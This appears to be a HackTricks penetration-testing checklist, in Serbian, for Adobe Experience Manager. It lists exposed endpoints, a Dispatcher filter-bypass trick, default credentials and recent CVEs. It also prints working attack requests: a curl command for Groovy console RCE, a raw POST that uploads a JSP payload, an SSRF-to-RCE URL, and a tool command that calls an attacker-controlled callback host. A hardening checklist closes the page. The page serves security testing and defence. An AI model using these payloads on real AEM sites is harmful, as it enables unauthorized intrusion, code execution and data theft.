AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Adobe Experience Manager (AEM, deo Adobe Experience Cloud-a) je preduzetnički CMS koji radi na Apache Sling/Felix (OSGi) i Java Content Repository (JCR). Sa perspektive napadača, AEM instance vrlo često izlažu opasne razvojne krajnje tačke, slabe Dispatcher pravila, podrazumevane akreditive i dugačak niz CVE-ova koji se zakrpljuju svaka tri meseca.

Lista provere u nastavku fokusira se na spolja dostupnu (unauth) površinu napada koja se stalno pojavljuje u stvarnim angažmanima (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

  • /etc.clientlibs/ statička putanja prisutna (vraća JS/CSS).
  • /libs/granite/core/content/login.html stranica za prijavu sa “Adobe Experience Manager” banerom.
  • </script><!--/* CQ */--> komentar na dnu HTML-a.

2. Visokovredni neautentifikovani krajnji tački

PutanjaŠta dobijateNapomene
/.json, /.1.jsonJCR čvorovi putem DefaultGetServletČesto blokirano, ali Dispatcher bypass (vidi ispod) funkcioniše.
/bin/querybuilder.json?path=/QueryBuilder APICurjenje stabla stranica, unutrašnjih putanja, korisničkih imena.
/system/console/status-*, /system/console/bundlesOSGi/Felix konzola403 po defaultu; ako je izloženo i pronađene su kredencijali ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPaket menadžerOmogućava autentifikovane sadržajne pakete → JSP payload upload.
/etc/groovyconsole/**AEM Groovy konzolaAko je izložena → proizvoljna Groovy / Java izvršenja.
/libs/cq/AuditlogSearchServlet.jsonAudit logoviOtkriće informacija.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS vektor.

Dispatcher bypass trik

Većina produkcionih sajtova se nalazi iza Dispatcher-a (obrnuti proxy). Njegova pravila filtriranja mogu se zaobići dodavanjem dozvoljene statičke ekstenzije posle tačke-zareza ili kodirane nove linije:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Jedan zahtev poput gore navedenog često otkriva čvorove korisničkog profila sa email adresama. P-T Partners je objavio dobre smernice o ovoj slabosti. 【】


3. Uobičajene pogrešne konfiguracije (još uvek prisutne 2025)

  1. Anonimni POST servletPOST /.json sa :operation=import omogućava vam da postavite nove JCR čvorove. Blokiranje *.json POST u Dispatcher-u to rešava. 【】
  2. Korisnički profili dostupni svima – podrazumevani ACL dodeljuje jcr:read na /home/users/**/profile/* svima.
  3. Podrazumevani kredencijaliadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter omogućen ⇒ reflektovani XSS putem ?debug=layout (CVE-2016-7882, još uvek pronađen na nasleđenim instalacijama 6.4).
  5. Groovy Console izložen – daljinsko izvršavanje koda slanjem Groovy skripte:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Nedavne ranjivosti (cadence servisnog paketa)

KvartalCVEPogođeniUticaj
Dec 2024CVE-2024-437116.5.21 i ranijeNepravilna validacija ulaza → Izvršavanje proizvoljnog koda (zahteva nisku privilegiju). 【】
Dec 2024CVE-2024-43724/266.5.21 i ranijeDOM / Skladišteni XSS u čarobnjaku za premestanje stranica. 【】
Dec 2023CVE-2023-48452/68≤ 6.5.18DOM-bazirani XSS putem kreirane URL adrese. 【】
Dec 2022CVE-2022-30683≤ 6.5.13Greška u dizajnu kriptografije → dekripcija tajne (zahteva niske privilegije). 【】

Uvek proverite APSB bilten koji odgovara servisnom paketu kupca i zatražite najnoviji 6.5.22 ili Cloud Service 2024.11.


5. Iskoristive snimke

5.1 RCE putem zaobilaženja dispečera + JSP upload

Ako je anonimno pisanje moguće:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Sada zatražite /content/evil.jsp – JSP se pokreće sa AEM korisnikom procesa.

5.2 SSRF do RCE (istorijski < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py iz aem-hacker automatizuje celu proceduru. 【】


6. Alati

  • aem-hacker – skripta za enumeraciju kao švajcarski nož, podržava zaobilaženje dispečera, detekciju SSRF, provere podrazumevanih kredencijala i još mnogo toga.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Content Brute-force – rekurzivno zahteva /_jcr_content.(json|html) da otkrije skrivene komponente.
  • osgi-infect – otpremite zloćudni OSGi paket putem /system/console/bundles ako su dostupni kredencijali.

7. Lista za učvršćivanje (za preporuke u vašem izveštaju)

  1. Održavajte instancu na najnovijem kumulativnom servisnom paketu (od jula 2025: 6.5.22).
  2. Uklonite/rotirajte podrazumevane naloge; primenite SSO/SAML.
  3. Pojačajte Dispatcher filtere – odbijte ;, kodirane nove redove, i *.json ili *.querybuilder.json za anonimne korisnike.
  4. Onemogućite ili zaštitite konzole (/system/console, /crx/*, /etc/groovyconsole) sa IP listama dozvola.
  5. Primijenite paket Anonymous Permission Hardening koji je isporučio Adobe.

Reference

  • Adobe Security Bulletin APSB24-69 – “Bezbednosna ažuriranja za Adobe Experience Manager (decembar 2024)”.
  • 0ang3el – aem-hacker alat (GitHub).

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks